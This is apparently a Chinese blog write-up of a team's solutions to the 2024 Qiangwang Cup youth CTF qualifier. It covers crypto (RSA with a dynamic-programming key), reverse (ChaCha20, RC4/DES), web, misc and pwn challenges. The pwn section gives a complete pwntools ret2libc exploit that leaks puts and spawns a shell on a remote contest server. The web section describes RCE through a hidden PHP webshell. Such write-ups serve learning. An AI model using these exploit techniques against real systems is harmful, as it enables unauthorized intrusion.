2024强网杯青少赛初赛

本文最后更新于 2024年11月26日 晚上

前言:大龄选手摸鱼打比赛,因为当天要赶飞机也没好好研究剩下的web题,放上来抄一下冷饭吧,以下是团队wp,排名28

crypto

Classics

按照给的html进行逆向解码得到flag

2024-11-24102142

easymath

计算2331位的二进制数中有多少个数字同时满足:是奇数且不包含连续4个0或1的条件,将这个计数值的下一个质数作为RSA的第一个质因子p。通过状态机和动态规划计算满足规则的路径总数,作为密钥 key。7 个状态,分别表示连续 1 和 0 的长度及中性状态,动态规划记录每个位置在不同状态的路径数,最终统计以 1 结尾的路径。然后进行正常的RSA解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import next_prime

n = 739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c = 229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
e = 65537
l = 2331 # DP 序列长度

# 状态机定义
def build_transition():
transition = {s: {} for s in range(7)}
for s in range(7):
for b in [0, 1]:
if s in [1, 2, 3]: # 连续的 1
co = s
transition[s][b] = co + 1 if b == 1 and co + 1 < 4 else (4 if b == 0 else -1)
elif s in [4, 5, 6]: # 连续的 0
cz = s - 3
transition[s][b] = cz + 4 if b == 0 and cz + 1 < 4 else (1 if b == 1 else -1)
else: # 中性状态
transition[s][b] = 1 if b == 1 else 4
return transition

def compute_key(l, transition):
DP = [[0] * 7 for _ in range(2)]
DP[0][1] = 1 # 初始化为状态 1

for pos in range(1, l - 1):
curr, prev = pos % 2, (pos - 1) % 2
DP[curr] = [0] * 7
for s in range(7):
if DP[prev][s] == 0:
continue
for b in [0, 1]:
next_s = transition[s][b]
if next_s != -1:
DP[curr][next_s] += DP[prev][s]

# 处理最后一位为 1 的情况
total = 0
curr = (l - 2) % 2
for s in range(7):
if DP[curr][s] == 0:
continue
next_s = transition[s][1]
if next_s != -1:
total += DP[curr][s]
return total

# 求解 RSA 因子和解密
def decrypt_rsa(n, c, e, key):
p = int(next_prime(key))
q = n // p
assert p * q == n, "分解 n 失败!"

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
return long_to_bytes(m)

transition = build_transition()
key = compute_key(l, transition)
print(f"计算得到的密钥: {key}")

try:
flag = decrypt_rsa(n, c, e, key)
print(f"解密后的 flag: {flag.decode()}")
except Exception as ex:
print(f"解密失败: {ex}")

AliceAES

AES简单了解,使用给定的key iv加密Hello, Bob!,加密结果为hex,提交得到flag

image-20241124142935619

image-20241124123012

pwn

clock_in

checksec是64位,开NX,FULL RELRO

ida进行查看

2024-11-24213211

get_info有溢出

用ROPgadget找到rdi地址,为rdi = 0x4011c5

2024-11-24213454

然后找main函数地址,main = 0x401253

然后先泄露libc偏移地址

1
2
3
4
5
6
7
8
9
10
11
12
rdi = 0x4011c5
main = 0x401253
ret = 0x40101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.recvuntil("Your info: ")
payload = b"\x00".ljust(0x48, b'a') + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

然后在计算libc真实地址,并调用system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch="amd64", os="linux", log_level="debug")

p = remote('39.106.48.123', 27962)
elf = ELF('./clock')
libc = ELF('./libc.so.6')

rdi = 0x4011c5
main = 0x401253
ret = 0x40101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.recvuntil("Your info: ")
payload = b"\x00".ljust(0x48, b'a') + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']


system = libcbase + libc.symbols['system']
binsh = libcbase + next(libc.search(b"/bin/sh\x00"))
payload2 = b"\x00".ljust(0x48, b'a') + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(system)
p.sendline(payload2)
p.interactive()

Web

ezGetFlag

bp改为post发包即可

2024-11-24100659

ezFindShell

下载www.zip,有很多php,d盾扫一下,有一个不一样的

2024-11-24214523

定位,可以直接rce,e=c3lzdGVt(system)

2024-11-24112132

re

EnterGame

chacha20加密,本质还是异或

image-20241124213032567

直接patch s为s2,即替换输入为密文

image-20241124213135818

屏幕截图 2024-11-24 113555

动调拿到flag

屏幕截图 2024-11-24 113459

Flip_over

jeb反编译,关键都是so动态库调用

image-20241124213408479

逆一下so,找到关键位置

image-20241124213611788

a4c3f8927d9b8e6d6e483fa2cd0193b0a6e2f19c8b47d5a8f3c7a91e8d4b9f67进行RC4+DES加密,key为flagflag,生成box

image-20241124213642097

image-20241124213653380

再与flag^0x21逐字节异或,与enc比较

enc:

image-20241124213934520

本质还是异或

exp

image-20241124214210995

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import ARC4, DES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

def rc4_encrypt(plaintext, key):
cipher = ARC4.new(key.encode())
return cipher.encrypt(plaintext.encode())

def des_encrypt(plaintext, key):
des = DES.new(key.encode(), DES.MODE_ECB)
padded_data = pad(plaintext, DES.block_size)
return des.encrypt(padded_data)

def xor_data(data1, data2):
length = min(len(data1), len(data2))
return bytes([data1[i] ^ data2[i] for i in range(length)])

data = "a4c3f8927d9b8e6d6e483fa2cd0193b0a6e2f19c8b47d5a8f3c7a91e8d4b9f67"
key = "flagflag"

rc4_encrypted = rc4_encrypt(data, key)
print(f"RC4 Encrypted Data: {rc4_encrypted.hex()}")

hex_string = "3f79a0583bf843d5c2bf868788200059870ce7d2e93e3566b46ed0ea809ff18eb28e12a0718afca8c3af"
hex_data = bytes.fromhex(hex_string)

des_encrypted = des_encrypt(rc4_encrypted, key)
print(f"DES Encrypted Data (EBC): {des_encrypted.hex()}")

xor_result = xor_data(des_encrypted, hex_data)
print(f"XOR Result: {xor_result.hex()}")

try:
xor_result_str = xor_result.decode('utf-8')
print(f"XOR Result as String: {xor_result_str}")
except UnicodeDecodeError:
print("XOR result contains non-printable characters, cannot convert to a string.")

跑出来有个不可见字符,十六个字符爆破出flag

image-20241124214253419

flag{b92d40df-840a-43a8-bdb4-5de79eca13f4}

Misc

签到漫画

四个栏目,每个最后一张是二维码碎片,拼起来扫描得到flag

image-20241124135442981

whitepic

gif帧分离

image-20241124142256302

image-20241124142318564

删除后门用户2

进去ps -ef 看了一下 有一个叫/usr/bin/b的进程

看了一下是一个后门代码

image-20241124133214048

sudo -l 看了一下有kill权限,直接kill -9 22

image-20241124133303982

然后和队友一起在疯狂删,莫名奇妙就删掉了成功过了

image-20241124133447293

image-20241124133502666

问卷

image-20241124140747634


2024强网杯青少赛初赛
https://0ran9ewww.github.io/2024/11/26/强网杯/强网杯青少赛初赛/
作者
orange
发布于
2024年11月26日
更新于
2024年11月26日
许可协议